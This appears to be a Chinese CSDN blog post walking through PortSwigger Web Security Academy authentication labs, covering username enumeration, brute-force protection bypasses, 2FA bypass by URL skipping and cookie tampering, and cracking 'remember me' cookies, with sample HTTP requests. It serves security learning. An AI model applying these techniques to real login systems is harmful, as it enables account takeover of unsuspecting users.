??
前言:
介紹:?
博主:網(wǎng)絡(luò)安全領(lǐng)域狂熱愛好者(承諾在CSDN永久無(wú)償分享文章)。
殊榮:CSDN網(wǎng)絡(luò)安全領(lǐng)域優(yōu)質(zhì)創(chuàng)作者,2022年雙十一業(yè)務(wù)安全保衛(wèi)戰(zhàn)-某廠第一名,某廠特邀數(shù)字業(yè)務(wù)安全研究員,edusrc高白帽,vulfocus、攻防世界等平臺(tái)排名100+、高校漏洞證書、cnvd原創(chuàng)漏洞證書等。
擅長(zhǎng):對(duì)于技術(shù)、工具、漏洞原理、黑產(chǎn)打擊的研究。
C站緣:C站的前輩,引領(lǐng)我度過(guò)了一個(gè)又一個(gè)技術(shù)的瓶頸期、迷茫期。
導(dǎo)讀:
面向讀者:對(duì)于網(wǎng)絡(luò)安全方面的學(xué)者。?
本文知識(shí)點(diǎn):?
(1)身份驗(yàn)證定義(√)
(2)基于密碼的登錄中的漏洞(√)
(3)多因素身份驗(yàn)證中的漏洞(√)
(4)其他身份驗(yàn)證機(jī)制中的漏洞(√)
?讓讀者如虎添翼
服務(wù)端專項(xiàng) 所需基礎(chǔ)知識(shí) 學(xué)習(xí)目標(biāo) 狀態(tài) 【0X01】SQL注入-17個(gè)實(shí)驗(yàn)(全) 1、數(shù)據(jù)庫(kù)基本語(yǔ)法 1、掌握SQL注入方法
2、掌握不同注入的區(qū)別
3、掌握注入的意義,即可以發(fā)現(xiàn)的信息
已發(fā)布 【0X02】身份認(rèn)證漏洞-16個(gè)實(shí)驗(yàn)(全) 1、基本信收集
2、爆破工具的使用(如BP)
3、需要一點(diǎn)的邏輯分析能力
1、掌握身份驗(yàn)證的方法
2、掌握對(duì)數(shù)據(jù)包差別的細(xì)微分析
3、掌握身份認(rèn)證的基本邏輯
已發(fā)布 【0X03】目錄遍歷漏洞-6個(gè)實(shí)驗(yàn)(全) 1、對(duì)于路徑的敏感度 1、掌握路徑模糊查詢(爆破)
2、掌握基本的繞過(guò)方法
已發(fā)布 【0X04】操作系統(tǒng)命令注入-5個(gè)實(shí)驗(yàn)(全) 1、基本操作系統(tǒng)命令(可慢慢接觸后學(xué))
2、帶外的平臺(tái)(可慢慢發(fā)現(xiàn))
3、帶外的服務(wù)器(實(shí)驗(yàn)可使用BP提供的)
1、掌握基本命令
2、掌握BP提供的服務(wù)器
3、掌握拼拼接命令
已發(fā)布 【0X05】業(yè)務(wù)邏輯漏洞-11個(gè)實(shí)驗(yàn)(全) 1、需要會(huì)基本的BP使用能力(后期可不斷提高)?
2、基礎(chǔ)的數(shù)據(jù)包分析能力(可不斷提升)
1、掌握如何分析業(yè)務(wù)邏輯
2、掌握業(yè)務(wù)邏輯的可能缺陷
3、掌握業(yè)務(wù)邏輯的第三方功能
已發(fā)布 【0X06】信息泄露漏洞-5個(gè)實(shí)驗(yàn)(全) 1、需要會(huì)一些發(fā)現(xiàn)的工具(后期可不斷使用新工具)
2、需要會(huì)一點(diǎn)Linux基本工具命令
1、掌握BP信息收集的工具的使用方法
2、掌握常見的信息泄露及其獲取方法
已發(fā)布 【0X07】訪問(wèn)控制 即將發(fā)布,敬請(qǐng)期待 —— —— 【0X08】文件上傳 即將發(fā)布,敬請(qǐng)期待 —— —— 【0X09】服務(wù)端請(qǐng)求偽造SSRF 即將發(fā)布,敬請(qǐng)期待 —— —— 【0X10】XEE注射 即將發(fā)布,敬請(qǐng)期待 —— ——
目錄
一、身份驗(yàn)證定義
1、三個(gè)身份驗(yàn)證因素
2、身份驗(yàn)證和授權(quán)
3、身份驗(yàn)證漏洞的產(chǎn)生
4、實(shí)驗(yàn)的字典
二、基于密碼的登錄中的漏洞
1、強(qiáng)制策略
2、用戶枚舉
3、有缺陷的強(qiáng)力保護(hù)
????????實(shí)驗(yàn)1:通過(guò)不同響應(yīng)的用戶名枚舉
????????實(shí)驗(yàn)4:通過(guò)細(xì)微不同的響應(yīng)進(jìn)行用戶名枚舉
????????實(shí)驗(yàn)5:通過(guò)響應(yīng)計(jì)時(shí)的用戶名枚舉
????????實(shí)驗(yàn)6:斷蠻力保護(hù)、IP塊
????????實(shí)驗(yàn)7:通過(guò)帳戶鎖定枚舉用戶名
????????實(shí)驗(yàn)13:暴力破解保護(hù)功能失效,每個(gè)請(qǐng)求有多個(gè)憑據(jù)
三、多因素身份驗(yàn)證中的漏洞
1、簡(jiǎn)述:
2、雙因素身份驗(yàn)證令牌
3、有缺陷的雙因素驗(yàn)證邏輯
4、暴力破解2FA驗(yàn)證碼
????????實(shí)驗(yàn)2:2FA簡(jiǎn)單旁路
????????實(shí)驗(yàn)8:2FA斷開邏輯
????????實(shí)驗(yàn)16:使用暴力攻擊的2FA旁路(有一處數(shù)據(jù)包錯(cuò)誤,已研究)
四、其他身份驗(yàn)證機(jī)制中的漏洞
1、簡(jiǎn)述:
2、保持用戶登錄
3、重置用戶密碼
????????實(shí)驗(yàn)9:強(qiáng)制使用保持登錄狀態(tài)的Cookie
????????實(shí)驗(yàn)10:離線密碼破解
????????實(shí)驗(yàn)3:密碼重置邏輯錯(cuò)誤
????????實(shí)驗(yàn)11:通過(guò)中間件的密碼重置中毒
????????實(shí)驗(yàn)12:通過(guò)更改密碼暴力破解密碼
?助你一臂之力??
??問(wèn)題1:挖身份驗(yàn)證漏洞需要準(zhǔn)備什么?
??信息收集(收集管理員,被攻擊賬號(hào)的相關(guān)消息)
??已有賬號(hào)(將很大長(zhǎng)度上提升挖到的概率)
??準(zhǔn)備好字典
??問(wèn)題2:使用的工具有哪些?
??BP必備(爆破、數(shù)據(jù)包的分析)
??加解密工具(一些關(guān)鍵值一般會(huì)被加密)
一、身份驗(yàn)證定義
1、三個(gè)身份驗(yàn)證因素
(身份驗(yàn)證機(jī)制依賴于一系列技術(shù)來(lái)驗(yàn)證這些因素中的一個(gè)或多個(gè))
知識(shí)因素:一些你知道,如密碼或安全問(wèn)題的答案。
占有因素:一些你有也就是像移動(dòng)電話或安全令牌這樣的物理對(duì)象。
內(nèi)在因素:您的身份或行為,例如,您的生物特征或行為模式。
2、身份驗(yàn)證和授權(quán)
身份驗(yàn)證:驗(yàn)證用戶是否確實(shí)是他們自稱的那個(gè)人
授權(quán):涉及驗(yàn)證用戶是否被允許做一些事情
3、身份驗(yàn)證漏洞的產(chǎn)生
身份驗(yàn)證機(jī)制很弱:不能充分地防止暴力攻擊
身份驗(yàn)證失?。簩?shí)現(xiàn)中的邏輯缺陷或糟糕的編碼允許攻擊者完全繞過(guò)身份驗(yàn)證機(jī)制
第三方身份驗(yàn)證機(jī)制中的漏洞————
示例:
1、基于密碼的登錄中的漏洞:
2、多因素身份驗(yàn)證中的漏洞
3、其他身份驗(yàn)證機(jī)制中的漏洞
4、實(shí)驗(yàn)的字典
用戶名:
Authentication lab usernames | Web Security Academy
密碼:
Authentication lab passwords | Web Security Academy
二、基于密碼的登錄中的漏洞
1、強(qiáng)制策略
強(qiáng)制特定用戶名,強(qiáng)制特定的密碼組成
2、用戶枚舉
觀察網(wǎng)站行為的變化,以確定給定用戶名是否有效
在嘗試強(qiáng)行登錄頁(yè)面時(shí),應(yīng)特別注意以下方面的任何差異
1、狀態(tài)代碼:爆破返回的狀態(tài)代碼對(duì)于絕大多數(shù)都是錯(cuò)誤的。如果返回不同的狀態(tài)代碼,則表明用戶名正確
————
2、錯(cuò)誤信息:有時(shí)返回的錯(cuò)誤信息會(huì)有所不同,具體取決于用戶名和密碼是否都不正確或只有密碼不正確。(如密碼錯(cuò)誤的提示)————
3、響應(yīng)時(shí)間:如果大多數(shù)請(qǐng)求都是以相似的響應(yīng)時(shí)間處理的,那么任何偏離這個(gè)響應(yīng)時(shí)間的請(qǐng)求都表明有更多的步驟。(如用戶名有效,網(wǎng)站可能僅檢查密碼是否正確。這個(gè)額外的步驟可能會(huì)導(dǎo)致響應(yīng)時(shí)間稍微增加)
————涉及實(shí)驗(yàn):
實(shí)驗(yàn)1:通過(guò)不同響應(yīng)的用戶名枚舉
實(shí)驗(yàn)4:通過(guò)細(xì)微不同的響應(yīng)進(jìn)行用戶名枚舉
實(shí)驗(yàn)5:通過(guò)響應(yīng)計(jì)時(shí)的用戶名枚舉
3、有缺陷的強(qiáng)力保護(hù)
暴力攻擊會(huì)涉及多次失敗,暴力保護(hù)的核心是盡可能巧妙地自動(dòng)執(zhí)行該過(guò)程,并降低攻擊者嘗試登錄的速度。
————
防止暴力攻擊的兩種最常見方法是:
1、鎖定賬號(hào):如果遠(yuǎn)程用戶嘗試登錄失敗的次數(shù)過(guò)多(或其他標(biāo)準(zhǔn)),則鎖定他們嘗試訪問(wèn)的帳戶鎖定帳戶可提供一定程度的保護(hù),防止針對(duì)特定帳戶的暴力強(qiáng)制。然而,這種方法不能充分地防止暴力攻擊,在這種攻擊中,攻擊者只是試圖獲得對(duì)他們所能訪問(wèn)的任何隨機(jī)帳戶的訪問(wèn)權(quán)。 可以使用以下方法來(lái)解決此類保護(hù)問(wèn)題: 1、建立可能有效的候選用戶名列表。這可以通過(guò)用戶名枚舉或簡(jiǎn)單地基于公共用戶名列表來(lái)實(shí)現(xiàn)。 2、確定一個(gè)非常小的密碼候選名單,您認(rèn)為至少有一個(gè)用戶可能擁有這些密碼。重要的是,您選擇的密碼數(shù)量不能超過(guò)允許的登錄嘗試次數(shù)。例如,如果您已計(jì)算出最多只能嘗試3次,則最多需要選擇3次密碼猜測(cè)。 3、使用Burp Intruder之類的工具,對(duì)每個(gè)候選用戶名嘗試每個(gè)選定的密碼。這樣,您就可以嘗試強(qiáng)行訪問(wèn)每個(gè)帳戶,而不會(huì)觸發(fā)帳戶鎖定。您只需要一個(gè)用戶使用三個(gè)密碼中的一個(gè)就可以危害帳戶。 4、帳戶鎖定也無(wú)法防止憑據(jù)填充攻擊。這涉及到使用大量的用戶名:密碼對(duì)字典,這些字典由在數(shù)據(jù)泄露中被盜的真實(shí)登錄憑據(jù)組成。憑據(jù)填充依賴于許多人在多個(gè)網(wǎng)站上重復(fù)使用相同的用戶名和密碼這一事實(shí),因此,字典中的一些受損憑據(jù)有可能在目標(biāo)網(wǎng)站上也有效。帳戶鎖定無(wú)法防止憑據(jù)填充,因?yàn)槊總€(gè)用戶名只嘗試一次。憑據(jù)填充尤其危險(xiǎn),因?yàn)樗袝r(shí)會(huì)導(dǎo)致攻擊者僅通過(guò)一次自動(dòng)攻擊就危及許多不同帳戶的安全
2、鎖定ip:如果遠(yuǎn)程用戶連續(xù)進(jìn)行過(guò)多的登錄嘗試,則阻止他們的IP地址?
(都提供了不同程度的保護(hù),但都不是無(wú)懈可擊的,特別是在使用有缺陷的邏輯實(shí)現(xiàn)時(shí))用戶速率限制 網(wǎng)站試圖防止暴力攻擊的另一種方法是通過(guò)用戶速率限制。在這種情況下,在短時(shí)間內(nèi)發(fā)出太多登錄請(qǐng)求會(huì)導(dǎo)致您的IP地址被阻止。 用戶速率限制有時(shí)比帳戶鎖定更可取,因?yàn)樗惶菀资艿接脩裘杜e和拒絕服務(wù)攻擊。但是,它仍然沒(méi)有完全安全。正如我們?cè)谇懊娴膶?shí)驗(yàn)中看到的示例,攻擊者可以通過(guò)多種方式操縱其表面IP來(lái)繞過(guò)攔截。 通常,只能通過(guò)以下方式之一解除阻止IP: 1、經(jīng)過(guò)一段時(shí)間后自動(dòng)執(zhí)行 2、由管理員手動(dòng)執(zhí)行 3、用戶在成功完成驗(yàn)證碼后手動(dòng)輸入 4、由于該限制是基于從用戶IP地址發(fā)送的HTTP請(qǐng)求的速率,因此如果您能夠計(jì)算出如何通過(guò)單個(gè)請(qǐng)求猜測(cè)多個(gè)密碼,有時(shí)也可以繞過(guò)此防御。
————
例如,如果多次登錄失敗,IP將被阻止。在一些實(shí)施方式中,但如果IP所有者成功登錄,則用于失敗嘗試次數(shù)的計(jì)數(shù)器重置。這意味著攻擊者只需每隔幾次嘗試就登錄自己的帳戶,以防止達(dá)到此限制。
在這種情況下,僅僅在整個(gè)單詞列表中定期包含您自己的登錄憑據(jù)就足以使這種防御措施實(shí)際上毫無(wú)用處。?
————涉及實(shí)驗(yàn):
實(shí)驗(yàn)6:斷蠻力保護(hù)、IP塊
實(shí)驗(yàn)7:通過(guò)帳戶鎖定枚舉用戶名
實(shí)驗(yàn)13:暴力破解保護(hù)功能失效,每個(gè)請(qǐng)求有多個(gè)憑據(jù)
實(shí)驗(yàn)1:通過(guò)不同響應(yīng)的用戶名枚舉
part1:
如果賬號(hào)不存在,會(huì)有提示username不存在
(和實(shí)戰(zhàn)中特別像)
part2:
爆破用戶名
使用實(shí)驗(yàn)提供的usernaem
發(fā)現(xiàn)有一個(gè)長(zhǎng)度不一樣,提示的是密碼的錯(cuò)誤
賬號(hào):alterwind
part3:
爆破密碼
使用實(shí)驗(yàn)提供的password
?
發(fā)現(xiàn)了有一個(gè)長(zhǎng)度不一樣的,302跳轉(zhuǎn)
嘗試一下是不是密碼
密碼:aaaaaa
part4:
登陸進(jìn)去了
實(shí)驗(yàn)4:通過(guò)細(xì)微不同的響應(yīng)進(jìn)行用戶名枚舉
part1:
對(duì)用戶名進(jìn)行爆破
使用bp實(shí)驗(yàn)提供的username
?
?在結(jié)果中發(fā)現(xiàn)有一個(gè)相應(yīng)時(shí)長(zhǎng)長(zhǎng)一點(diǎn),在想是不是username驗(yàn)證正確了,在驗(yàn)證密碼了
(但最后結(jié)果是錯(cuò)的)
對(duì)爆破結(jié)果再分析
(提取錯(cuò)誤的提示信息)
?發(fā)現(xiàn)了錯(cuò)誤提示不一樣
(最后驗(yàn)證密碼后:正確用戶名后面是空格,錯(cuò)誤用戶名是一個(gè)點(diǎn))
賬號(hào):root
part2:
對(duì)密碼進(jìn)行爆破
?使用實(shí)驗(yàn)提供的password
?熟悉的302跳轉(zhuǎn)
密碼:666666
part3:
登陸
root/666666
實(shí)驗(yàn)5:通過(guò)響應(yīng)計(jì)時(shí)的用戶名枚舉
part1:
此實(shí)驗(yàn),對(duì)ip有限制
爆破時(shí)候加上X-Forwarded-For:?
?payload1:
字典也就100來(lái)個(gè),就設(shè)120就夠了
?
?payload2:
提前設(shè)置把提示信息提取出來(lái)
part2:
分析結(jié)果
把時(shí)間勾上
有4個(gè)的時(shí)間,差不多都是1000
oracle
agent
vagrant
alerts
part3:
對(duì)密碼進(jìn)行爆破
payload2:
改為密碼字典
(有延遲,很難準(zhǔn)確爆破出)
part4:
登陸賬號(hào)
實(shí)驗(yàn)6:斷蠻力保護(hù)、IP塊
part1:
題目已經(jīng)提供了
已有賬號(hào):wiener:peter
要攻擊的用戶名:carlos
(要準(zhǔn)備和password一樣多的賬號(hào)數(shù)量,只能多)
因?yàn)槊垮e(cuò)次個(gè)就會(huì)封ip,所以在登陸錯(cuò)3次內(nèi),循環(huán)插入正確的賬號(hào)和密碼(且不能多線程,不然就容易直接錯(cuò)3次了)
(使用notepad++的替換功能)
正確賬號(hào):wiener
現(xiàn)在每2個(gè)里面就有一個(gè)正確賬號(hào)
?現(xiàn)在將密碼與正確賬號(hào)對(duì)應(yīng)上(正確密碼:peter)
part2:
開始使用?
要攻擊的用戶名:carlos
?payload1:
?payload2:
part3:
結(jié)果分析(302是登陸成功后的跳轉(zhuǎn),找到賬號(hào)為carlos的302跳轉(zhuǎn))
賬號(hào):carlos
密碼:monitoring
part4:
登陸
實(shí)驗(yàn)7:通過(guò)帳戶鎖定枚舉用戶名
part1:
發(fā)現(xiàn)重復(fù)登陸5次就會(huì)鎖定賬號(hào),所以把所有賬號(hào)重復(fù)進(jìn)行5次枚舉(使用集束炸彈Cluster bomb),觀察響應(yīng)包
錯(cuò)誤的payload2:添加5個(gè)null payload
(密碼應(yīng)該不能為空)
正確的payload2:
直接密碼1-5,是一樣的效果
?
part2:
分析賬號(hào)
賬號(hào):att
part3:
爆破賬號(hào)att的密碼
雖然有鎖定,但嘗試觀察報(bào)錯(cuò)信息
?載入密碼
?分析結(jié)果:
有一個(gè)長(zhǎng)度出奇的短
(應(yīng)該是提示信息不一樣,當(dāng)通過(guò)長(zhǎng)度無(wú)法區(qū)分的時(shí)候,就提取提示信息)
?賬號(hào):att
密碼:iloveyou
part4:
登陸
實(shí)驗(yàn)13:暴力破解保護(hù)功能失效,每個(gè)請(qǐng)求有多個(gè)憑據(jù)
part1:
可以發(fā)現(xiàn)請(qǐng)求以JSON格式提交登錄憑據(jù)
整理的好看點(diǎn)
提示攻擊的用戶為
carlos
將密碼全部以json的格式添加到password關(guān)鍵字后面
先變一個(gè)開頭(第一個(gè)"自己手動(dòng)加上去)
?再變一個(gè)結(jié)尾(最后一個(gè)"也自己手動(dòng)加上去)
?直接復(fù)制上去,要加上[數(shù)據(jù)塊]
?
三、多因素身份驗(yàn)證中的漏洞
1、簡(jiǎn)述:
1、雙因素身份認(rèn)證實(shí)際性:驗(yàn)證生物特征因素對(duì)大多數(shù)網(wǎng)站來(lái)說(shuō)是不切實(shí)際的。但是,基于以下內(nèi)容的強(qiáng)制和可選雙因素身份認(rèn)證(2FA)越來(lái)越常見你知道的事以及你有的東西。這通常需要用戶從他們擁有的帶外物理設(shè)備輸入傳統(tǒng)密碼和臨時(shí)驗(yàn)證碼。 2、雙因素身份驗(yàn)證更安全:雖然攻擊者有時(shí)可以獲得單個(gè)基于知識(shí)的因素(如密碼),但同時(shí)從帶外來(lái)源獲得另一個(gè)因素的可能性要小得多。因此,雙因素身份驗(yàn)證顯然比單因素身份驗(yàn)證更安全。然而,與任何安全措施一樣,它的安全性取決于其實(shí)施情況。與單因素身份驗(yàn)證一樣,實(shí)現(xiàn)不佳的雙因素身份驗(yàn)證可以被擊敗,甚至完全繞過(guò)。 3、只是被驗(yàn)證兩次:只有通過(guò)驗(yàn)證多個(gè)不同因素。以兩種不同的方式驗(yàn)證同一因素不是真正的雙因素身份驗(yàn)證。基于電子郵件的2FA就是這樣一個(gè)例子。盡管用戶必須提供密碼和驗(yàn)證碼,但訪問(wèn)驗(yàn)證碼僅依賴于他們知道其電子郵件帳戶的登錄憑據(jù)。因此,知識(shí)認(rèn)證因素只是被驗(yàn)證兩次。
2、雙因素身份驗(yàn)證令牌
1、一些網(wǎng)站會(huì)將驗(yàn)證碼以短信的形式發(fā)送到用戶移動(dòng)的上。雖然這在技術(shù)上還在驗(yàn)證“你所擁有的東西”的因素,但它是開放的濫用。
————
2、首先,代碼是通過(guò)SMS傳輸?shù)?,而不是由設(shè)備本身生成的。這就產(chǎn)生了代碼被攔截的可能性。此外,還存在交換SIM卡的風(fēng)險(xiǎn),即攻擊者通過(guò)欺詐手段獲得帶有受害者電話號(hào)碼的SIM卡。然后,攻擊者將收到發(fā)送給受害者的所有SMS消息,包括包含其驗(yàn)證碼的消息。
————
3、繞過(guò)雙因素身份驗(yàn)證
有時(shí),雙因素身份驗(yàn)證的實(shí)現(xiàn)存在缺陷,以至于可以完全繞過(guò)它(但是我嘗試的經(jīng)驗(yàn),一般是前后端分離,只是前端繞過(guò)了能進(jìn)去,但是沒(méi)有數(shù)據(jù))
————
如果用戶首先被提示輸入密碼,然后被提示在單獨(dú)的頁(yè)面上輸入驗(yàn)證碼,則用戶在輸入驗(yàn)證碼之前實(shí)際上處于“登錄”狀態(tài)。在這種情況下,值得測(cè)試一下,看看在完成第一個(gè)身份驗(yàn)證步驟后是否可以直接跳到“l(fā)ogged-in only”頁(yè)面。有時(shí)候,您會(huì)發(fā)現(xiàn)網(wǎng)站在加載頁(yè)面之前實(shí)際上并不檢查您是否完成了第二步
————涉及實(shí)驗(yàn):
實(shí)驗(yàn)2:2FA簡(jiǎn)單旁路
3、有缺陷的雙因素驗(yàn)證邏輯
有時(shí),雙因素身份驗(yàn)證中的邏輯缺陷意味著,在用戶完成初始登錄步驟后,網(wǎng)站無(wú)法充分驗(yàn)證同一用戶是否正在完成第二步
?示例: 1、用戶在第一步中使用其普通憑據(jù)登錄,如下所示 POST /login-steps/first HTTP/1.1 Host: vulnerable-website.com ... username=carlos&password=qwerty 2、然后,在進(jìn)入登錄過(guò)程的第二步之前,他們將被分配一個(gè)與其帳戶相關(guān)的cookie: HTTP/1.1 200 OK Set-Cookie: account=carlos GET /login-steps/second HTTP/1.1 Cookie: account=carlos 3、提交驗(yàn)證碼時(shí),請(qǐng)求使用此cookie來(lái)確定用戶嘗試訪問(wèn)的帳戶: POST /login-steps/second HTTP/1.1 Host: vulnerable-website.com Cookie: account=carlos ... verification-code=123456 4、在這種情況下,攻擊者可以使用自己的憑據(jù)登錄,然后更改cookie到任何任意用戶名時(shí)提交驗(yàn)證碼 POST /login-steps/second HTTP/1.1 Host: vulnerable-website.com Cookie: account=victim-user ... verification-code=123456
如果攻擊者隨后能夠強(qiáng)制驗(yàn)證代碼,這將是極其危險(xiǎn)的,因?yàn)檫@將允許他們完全基于用戶名登錄到任意用戶的帳戶。他們甚至不需要知道用戶的密碼。
————涉及實(shí)驗(yàn):
實(shí)驗(yàn)8:2FA斷開邏輯
4、暴力破解2FA驗(yàn)證碼
?1、與密碼一樣,網(wǎng)站需要采取措施防止2FA驗(yàn)證碼被強(qiáng)行使用。這一點(diǎn)尤其重要,因?yàn)榇a通常是一個(gè)簡(jiǎn)單的4位或6位數(shù)字。如果沒(méi)有足夠的強(qiáng)力保護(hù),破解這樣的代碼是微不足道的。
2、一些網(wǎng)站試圖通過(guò)在用戶輸入一定數(shù)量的不正確驗(yàn)證碼時(shí)自動(dòng)注銷用戶來(lái)防止這種情況。這在實(shí)踐中是無(wú)效的,因?yàn)楦呒?jí)攻擊者甚至可以通過(guò)以下方式自動(dòng)執(zhí)行此多步驟過(guò)程創(chuàng)建宏。該渦輪入侵者擴(kuò)展也可用于此目的
————
涉及實(shí)驗(yàn):
實(shí)驗(yàn)16:使用暴力攻擊的2FA旁路
實(shí)驗(yàn)2:2FA簡(jiǎn)單旁路
已獲得的憑據(jù):wiener:peter
受害人的:carlos:montoya
雙重驗(yàn)證繞過(guò)
第一重:密碼驗(yàn)證
第二重:郵箱驗(yàn)證碼
part1:
先登陸已有憑據(jù)wiener:peter
然后收取郵箱驗(yàn)證碼
?
保存登錄之后的url
https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/my-account
?
part2:
使用已有憑據(jù)登錄carlos賬戶
carlos:montoya(驗(yàn)證賬號(hào)密碼)
到這個(gè)URL就是要驗(yàn)證郵箱了
https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/login2
part3:
直接將換為登陸成功的URL嘗試?yán)@過(guò)第二重郵箱驗(yàn)證
即后面替換為/my-account
?就可以登陸成功
https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/my-account
實(shí)驗(yàn)8:2FA斷開邏輯
信息:
已獲得的憑據(jù):wiener:peter
受害者賬號(hào):carlos
part1:
先登陸已獲得的憑據(jù):wiener:peter
?
part2:
思路分析:
在網(wǎng)站map搜host找到剛剛的數(shù)據(jù)包login
然后還GET請(qǐng)求了一個(gè)login2(請(qǐng)求中的用戶為wiener)
思路:將用戶改為我們要攻擊的賬號(hào)carlos,并重放就可以第二步驗(yàn)證的是攻擊賬號(hào)的賬號(hào)了
(分析完以后,退出登陸wiener)
part3:
第一步驗(yàn)證的完整過(guò)程
?先使用wiener登陸,同時(shí)bp打開攔截
?放過(guò)第一個(gè)登陸的數(shù)據(jù)包
此時(shí)將第二個(gè)數(shù)據(jù)包的?verify值改為受害者賬號(hào)(carlos)
?第三個(gè)數(shù)據(jù)包我也改為了carlos
part4:
第二步驗(yàn)證的完整過(guò)程
這一步是驗(yàn)證受害用戶驗(yàn)證碼了(4位數(shù),直接爆破)
————
?(此處一個(gè)錯(cuò)誤提示:千萬(wàn)別用蠻力,全部爆破完才出來(lái),,此時(shí)靶場(chǎng)已經(jīng)關(guān)了,服了,用順序遞增)
?此時(shí)靶場(chǎng)已關(guān),重新來(lái)過(guò)(服了)
?————
重新爆破(換數(shù)值遞增的方法)
注意:verify=carlos需要改為受害者(否則失敗)
(爆破5次發(fā)現(xiàn),官方基本上把驗(yàn)證碼設(shè)置為了1000以下)
?把線程調(diào)大點(diǎn)
?
實(shí)驗(yàn)16:使用暴力攻擊的2FA旁路(有一處數(shù)據(jù)包錯(cuò)誤,已研究明)
再次分析錯(cuò)誤的地方時(shí)候:
最后一步可能需要上一步的驗(yàn)證參數(shù)
前提:
受害人憑據(jù):carlos:montoya
但無(wú)權(quán)訪問(wèn)用戶的 2FA 驗(yàn)證碼(暴力破解)
part1:
登錄用戶carlos,提交任意驗(yàn)證碼0000
(目的收集數(shù)據(jù)包,驗(yàn)證碼對(duì)不對(duì)無(wú)所謂)
part2:
Project options(項(xiàng)目選項(xiàng))--->sessions--->add
?scope(范圍)---> all urls
提示:我以為老版的不能多選,就換了最新版試試
正確操作:多選條,然后刪除多余的
再點(diǎn)擊test macro
————
第三個(gè)數(shù)據(jù)包是200,是正常的
(但是我第二個(gè)數(shù)據(jù)包變成了400,不是302了,按道理賬號(hào)密碼是正確得跳轉(zhuǎn),并獲得session)
然后都點(diǎn)擊確認(rèn)OK
?
再準(zhǔn)備進(jìn)行驗(yàn)證碼爆破
?
?
四、其他身份驗(yàn)證機(jī)制中的漏洞
1、簡(jiǎn)述:
除了基本的登錄功能外,大多數(shù)網(wǎng)站還提供了允許用戶管理其帳戶的補(bǔ)充功能。例如,用戶通??梢愿钠涿艽a或在忘記密碼時(shí)重置密碼。這些機(jī)制還可能引入可被攻擊者利用的漏洞。
?網(wǎng)站通常會(huì)注意避免在其登錄頁(yè)面中出現(xiàn)眾所周知的漏洞。但是很容易忽略這樣一個(gè)事實(shí),即需要采取類似的步驟來(lái)確保相關(guān)功能同樣健壯。這在攻擊者能夠創(chuàng)建自己的帳戶并因此能夠輕松訪問(wèn)以研究這些附加頁(yè)面的情況下尤為重要。?
?
2、保持用戶登錄
一個(gè)常見的功能是即使在關(guān)閉瀏覽器會(huì)話后仍保持登錄狀態(tài)的選項(xiàng)。這通常是一個(gè)簡(jiǎn)單的復(fù)選框,標(biāo)記為“記住我”或“保持我的登錄狀態(tài)”。
?1、破解公式:此功能通常通過(guò)生成某種“記住我”標(biāo)記來(lái)實(shí)現(xiàn),然后將其存儲(chǔ)在持久性cookie中。由于擁有此cookie可以有效地讓您繞過(guò)整個(gè)登錄過(guò)程,因此最好不要猜測(cè)此cookie。但是,有些網(wǎng)站會(huì)根據(jù)可預(yù)測(cè)的靜態(tài)值(如用戶名和時(shí)間戳)的串聯(lián)來(lái)生成此Cookie。有些甚至將密碼作為cookie的一部分。如果攻擊者能夠創(chuàng)建自己的帳戶,這種方法尤其危險(xiǎn),因?yàn)樗麄兛梢匝芯孔约旱腸ookie并可能推斷出它是如何生成的。一旦他們計(jì)算出了公式,他們就可以嘗試強(qiáng)行使用其他用戶的cookie來(lái)訪問(wèn)他們的帳戶。 2、破解加密算法:一些網(wǎng)站假設(shè),如果cookie以某種方式加密,即使它使用靜態(tài)值,也無(wú)法猜測(cè)。如果操作正確,這可能是真的,但是使用簡(jiǎn)單的雙向編碼(如Base64)天真地“加密”cookie并不能提供任何保護(hù)。即使使用正確的單向哈希函數(shù)加密也不是完全安全的。如果攻擊者能夠輕松地識(shí)別散列算法,并且不使用salt,那么他們可能會(huì)通過(guò)簡(jiǎn)單地散列他們的單詞列表來(lái)暴力破解Cookie。如果沒(méi)有對(duì)cookie猜測(cè)應(yīng)用類似的限制,則可以使用此方法繞過(guò)登錄嘗試限制。 3、XSS攻擊:即使攻擊者無(wú)法創(chuàng)建自己的帳戶,他們?nèi)匀豢梢岳么寺┒础J褂贸S玫募夹g(shù)(如XSS),攻擊者可以竊取另一個(gè)用戶的“記住我”cookie,并從中推斷出cookie是如何構(gòu)造的。如果網(wǎng)站是使用開源框架構(gòu)建的,Cookie構(gòu)建的關(guān)鍵細(xì)節(jié)甚至可能會(huì)公開記錄。 4、密碼哈希:在極少數(shù)情況下,即使經(jīng)過(guò)哈希處理,也可能從Cookie中以明文形式獲得用戶的實(shí)際密碼。眾所周知的密碼列表的散列版本可以在網(wǎng)上找到,所以如果用戶的密碼出現(xiàn)在其中一個(gè)列表中,解密散列有時(shí)可能就像將散列粘貼到搜索引擎中一樣微不足道。這證明了salt在有效加密中的重要性。
————
涉及實(shí)驗(yàn):
實(shí)驗(yàn)9:強(qiáng)制使用保持登錄狀態(tài)的Cookie
實(shí)驗(yàn)10:離線密碼破解
3、重置用戶密碼
1、通過(guò)電子郵件發(fā)送密碼
應(yīng)避免通過(guò)不安全的通道發(fā)送持久口令。在這種情況下,安全性依賴于生成的密碼在很短的時(shí)間內(nèi)過(guò)期,或者用戶立即再次更改其密碼。否則,這種方法很容易受到中間人攻擊。 電子郵件通常也不被認(rèn)為是安全的,因?yàn)槭占涫怯谰眯缘?,并且不是真正為機(jī)密信息的安全存儲(chǔ)而設(shè)計(jì)的。許多用戶還通過(guò)不安全的渠道在多個(gè)設(shè)備之間自動(dòng)同步收件箱
2、使用URL重置密碼
重置密碼的一種更可靠的方法是向用戶發(fā)送唯一的URL,該URL將用戶帶到密碼重置頁(yè)。此方法的安全性較低的實(shí)現(xiàn)使用帶有易于猜測(cè)的參數(shù)的URL來(lái)標(biāo)識(shí)正在重置的帳戶,例如: http://vulnerable-website.com/reset-password?user=victim-user 在此示例中,攻擊者可以更改user參數(shù)以引用他們識(shí)別的任何用戶名。然后,他們將被直接帶到一個(gè)頁(yè)面,在那里他們可以為這個(gè)任意用戶設(shè)置一個(gè)新密碼。 此過(guò)程的一個(gè)更好的實(shí)現(xiàn)是生成一個(gè)高熵、難以猜測(cè)的令牌,并基于該令牌創(chuàng)建重置URL。在最佳情況下,此URL不應(yīng)提供有關(guān)正在重置哪個(gè)用戶密碼的提示。 http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8 